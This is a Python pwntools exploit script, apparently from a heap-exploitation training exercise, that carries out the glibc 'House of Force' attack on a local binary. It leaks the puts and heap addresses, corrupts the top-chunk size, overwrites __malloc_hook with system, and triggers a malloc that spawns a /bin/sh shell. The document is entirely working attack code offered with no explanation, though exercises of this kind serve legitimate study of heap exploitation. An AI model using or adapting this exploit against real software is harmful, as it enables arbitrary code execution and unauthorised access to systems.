#!/usr/bin/python3
from pwn import *
context.log_level = "DEBUG"
elf = context.binary = ELF("house_of_force")
libc =elf.libc # elf.libc broke again

gs = '''
continue
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

# Select the "malloc" option, send size & data.
def malloc(size, data):
    io.send(b"1")
    io.sendafter(b"size: ", f"{size}".encode())
    io.sendafter(b"data: ", data)
    io.recvuntil(b"> ")
    
io = start()
io.recvuntil('puts() @ ')
puts=int(io.recvline(),16)
info(f"PUTS -> {hex(puts)}")
libc.address=puts-libc.sym.puts
io.recvuntil('heap @ ')
heap=int(io.recvline(),16)
info(f"HEAP -> {hex(heap)}")
malloc(24, b"A"*24  + p64(0xffffffffffffffff))
d=libc.sym.__malloc_hook  - heap - 0x40
malloc(d, b"/bin/sh\0")
malloc(24, p64(libc.sym.system))
cmd=heap+0x30
data=b""
io.send(b"1")
io.sendafter(b"size: ", f"{cmd}".encode())
io.interactive()